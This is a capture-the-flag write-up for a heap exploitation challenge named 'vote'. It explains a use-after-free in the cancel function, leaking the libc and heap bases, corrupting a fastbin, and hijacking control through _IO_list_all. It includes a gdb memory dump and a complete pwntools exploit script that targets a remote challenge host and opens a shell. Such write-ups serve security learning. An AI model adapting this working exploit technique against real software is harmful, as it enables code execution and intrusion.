Introduction
It is an easy menu challenge. I thought there may be some security issues with multi-threading in exploitation like race condition. But it seems there is no need on that in this challenge.
Vulnerability Analysis
There exists an UAF in the cancel function in this challenge. When canceling with a given index, the corresponding ptr_list[i] will not be set to zero.
Exploit Plan
In this challenge, we need to leak the base address of heap and the base address of libc first.
Then we need to gain write-anything-anywhere primitive in this challenge. We free the chunk1 and chunk2 of size 0x70 first. Because of the UAF, we can still vote to chunk1, which means we can increase the fd pointer of chunk1. We can previously set the name of the chunk1 and reach to a situation as below. The following step is similar to fastbin corruption attack.
(gdb) x/20gx 0x000000000135c180 0x135c180: 0x0000000000000000 0x0000000000000071 0x135c190: 0x000000000135c130 0x000000005aa67113 0x135c1a0: 0x4545454545454545 0x4545454545454545 0x135c1b0: 0x4545454545454545 0x4545454545454545 0x135c1c0: 0x4545454545454545 0x4545454545454545 0x135c1d0: 0x4545454545454545 0x4545454545454545 0x135c1e0: 0x4545454545454545 0x0045454545454545 0x135c1f0: 0x0000000000000000 0x0000000000000071 0x135c110: 0x0000000000000000 0x0000000000000071 0x135c120: 0x0000000000000000 0x000000005aa67113 0x135c130: 0x0000000000000000 0x0000000000000071 0x135c140: 0x00007fb48a3114dd 0x4444444444444444 0x135c150: 0x4444444444444444 0x4444444444444444 0x135c160: 0x4444444444444444 0x4444444444444444 0x135c170: 0x4444444444444444 0x0044444444444444 0x135c180: 0x0000000000000000 0x0000000000000071
At first, I hope to overwrite __malloc_hook to hijack control flow to magic gadget, but I soon find that the stack layout does not satisfy the requirement. Therefore, I turn to use file stream oriented programming to hijack control flow via overwriting the _IO_list_all to hijack control.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("47.90.103.10", 6000); elif(DEBUG == 1): r = process("./vote"); elif(DEBUG == 2): r = process("./vote"); gdb.attach(r, '''source ./script'''); def create(size, name): r.recvuntil("Action:"); r.sendline("0"); r.recvuntil("size:"); r.sendline(str(size)); r.recvuntil("name:"); r.send(name); def show(index): r.recvuntil("Action:"); r.sendline("1"); r.recvuntil("index:"); r.sendline(str(index)); def vote(index): r.recvuntil("Action:"); r.sendline("2"); r.recvuntil("index:"); r.sendline(str(index)); def result(): r.recvuntil("Action:"); r.sendline("3"); def cancel(index): r.recvuntil("Action:"); r.sendline("4"); r.recvuntil("index:"); r.sendline(str(index)) def exploit(): create(0x80, "A"*0x80); create(0x50, "B"*0x50); cancel(0); show(0); r.recvuntil("count: "); leaked = r.recvline(); log.info("%s" % leaked); leakedValue = int(leaked); log.info("Leaked Value: 0x%x" % leakedValue); libcBase = leakedValue - 0x3c4b78; log.info("Libc Base Address: 0x%x" % libcBase); create(0x50, "C"*0x50); payload = p64(0) + p64(0x71) + p64(libcBase + 0x3c54fd); payload = payload.ljust(0x50, 'D'); create(0x50, payload); create(0x50, "E"*0x50); create(0x50, "F"*0x50); cancel(3); cancel(4); show(4); r.recvuntil("count: "); leakedValue = int(r.recvline()); log.info("leaked value: 0x%x" % leakedValue); heapBase = leakedValue - 0x110; log.info("Heap Base Addr: 0x%x" % heapBase); for i in range(0, 0x20): vote(4); vote(1); create(0x50, "G"*0x50); payload = "H"*0x10 + p64(heapBase + 0x150); payload += p64(1); payload += p64(2); payload += p64(3); payload += p64(4); payload += p64(5); payload += p64(libcBase + 0xf1117); payload += p64(heapBase + 0x178); create(0x50, payload.ljust(0x50, "H")); payload = "HHH" + p64(heapBase + 0xc0); payload = payload.ljust(0x50, "I"); create(0x50, payload); cancel(0); cancel(2); r.interactive(); exploit();